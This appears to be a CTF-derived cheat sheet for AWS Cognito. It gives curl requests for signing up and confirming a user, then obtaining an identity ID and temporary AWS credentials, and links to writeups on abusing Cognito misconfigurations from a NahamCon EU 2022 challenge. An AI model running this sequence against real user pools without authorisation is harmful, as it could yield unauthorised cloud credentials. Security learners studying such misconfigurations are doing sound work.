AWS Cognito

Only Useful Commands

Curl Commands

Signup

curl --request POST \
  --url https://cognito-idp.us-east-1.amazonaws.com/ \
  --header 'accept: */*' \
  --header 'accept-language: en-US,en;q=0.9' \
  --header 'authority: cognito-idp.us-east-1.amazonaws.com' \
  --header 'content-type: application/x-amz-json-1.1' \
  --header 'origin: https://ctfincognito.s3.amazonaws.com' \
  --header 'referer: https://ctfincognito.s3.amazonaws.com/' \
  --header 'sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"' \
  --header 'sec-ch-ua-mobile: ?0' \
  --header 'sec-ch-ua-platform: "Windows"' \
  --header 'sec-fetch-dest: empty' \
  --header 'sec-fetch-mode: cors' \
  --header 'sec-fetch-site: cross-site' \
  --header 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36' \
  --header 'x-amz-content-sha256: dfbb3ffd1cb5446686f79d8d49f59f6d754249f37aff6d6e66e1626b93d9c09a' \
  --header 'x-amz-target: AWSCognitoIdentityProviderService.SignUp' \
  --header 'x-amz-user-agent: aws-sdk-js/2.726.0 callback' \
  --data '{"ClientId":"11rcg1djsb6ka6ni21aml29kue","Username":"[e-mail]","Password":"**********","UserAttributes":[{"Name":"email","Value":"[e-mail]"},{"Name":"name","Value":"0mgfriday"}]}'

Confirm New User

curl --request POST \
  --url https://cognito-idp.us-east-1.amazonaws.com/ \
  --header 'accept: */*' \
  --header 'accept-language: en-US,en;q=0.9' \
  --header 'authority: cognito-idp.us-east-1.amazonaws.com' \
  --header 'content-type: application/x-amz-json-1.1' \
  --header 'origin: https://ctfincognito.s3.amazonaws.com' \
  --header 'referer: https://ctfincognito.s3.amazonaws.com/' \
  --header 'sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"' \
  --header 'sec-ch-ua-mobile: ?0' \
  --header 'sec-ch-ua-platform: "Windows"' \
  --header 'sec-fetch-dest: empty' \
  --header 'sec-fetch-mode: cors' \
  --header 'sec-fetch-site: cross-site' \
  --header 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36' \
  --header 'x-amz-content-sha256: dfbb3ffd1cb5446686f79d8d49f59f6d754249f37aff6d6e66e1626b93d9c09a' \
  --header 'x-amz-target: AWSCognitoIdentityProviderService.ConfirmSignUp' \
  --header 'x-amz-user-agent: aws-sdk-js/2.726.0 callback' \
  --data '{"ClientId":"11rcg1djsb6ka6ni21aml29kue","Username":"[e-mail]","ConfirmationCode":"787453"}'

GetId

curl --request POST \
  --url https://cognito-identity.us-east-1.amazonaws.com/ \
  --header 'accept: */*' \
  --header 'accept-language: en-US,en;q=0.9' \
  --header 'authority: cognito-identity.us-east-1.amazonaws.com' \
  --header 'content-type: application/x-amz-json-1.1' \
  --header 'origin: https://ctfincognito.s3.amazonaws.com' \
  --header 'referer: https://ctfincognito.s3.amazonaws.com/' \
  --header 'sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"' \
  --header 'sec-ch-ua-mobile: ?0' \
  --header 'sec-ch-ua-platform: "Windows"' \
  --header 'sec-fetch-dest: empty' \
  --header 'sec-fetch-mode: cors' \
  --header 'sec-fetch-site: cross-site' \
  --header 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36' \
  --header 'x-amz-content-sha256: dfbb3ffd1cb5446686f79d8d49f59f6d754249f37aff6d6e66e1626b93d9c09a' \
  --header 'x-amz-target: AWSCognitoIdentityService.GetId' \
  --header 'x-amz-user-agent: aws-sdk-js/2.726.0 callback' \
  --data '{"IdentityPoolId":"us-east-1:176cdd96-9db6-437f-9a56-124c2e9de439","Logins":{"cognito-idp.us-east-1.amazonaws.com/us-east-1_4rMMxVEiL":"BEARER_TOKEN"}}'

GetCredentialsForIdentity

curl --request POST \
  --url https://cognito-identity.us-east-1.amazonaws.com/ \
  --header 'accept: */*' \
  --header 'accept-language: en-US,en;q=0.9' \
  --header 'content-type: application/x-amz-json-1.1' \
  --header 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36' \
  --header 'x-amz-content-sha256: dfbb3ffd1cb5446686f79d8d49f59f6d754249f37aff6d6e66e1626b93d9c09a' \
  --header 'x-amz-target: AWSCognitoIdentityService.GetCredentialsForIdentity' \
  --header 'x-amz-user-agent: aws-sdk-js/2.726.0 callback' \
  --data '{"Logins":{"cognito-idp.us-east-1.amazonaws.com/us-east-1_4rMMxVEiL":"BEARER_TOKEN"},"IdentityId":"us-east-1:19043020-e100-0000-0000-000000000000"}'

References

• https://notsosecure.com/hacking-aws-cognito-misconfigurations
• https://github.com/0mgfriday/ctf/blob/main/2022/NahamconEU/Mode_Incognito/Readme.md
• https://github.com/jselliott/NahamConEU22/tree/main/challenges/Cloud/mode-incognito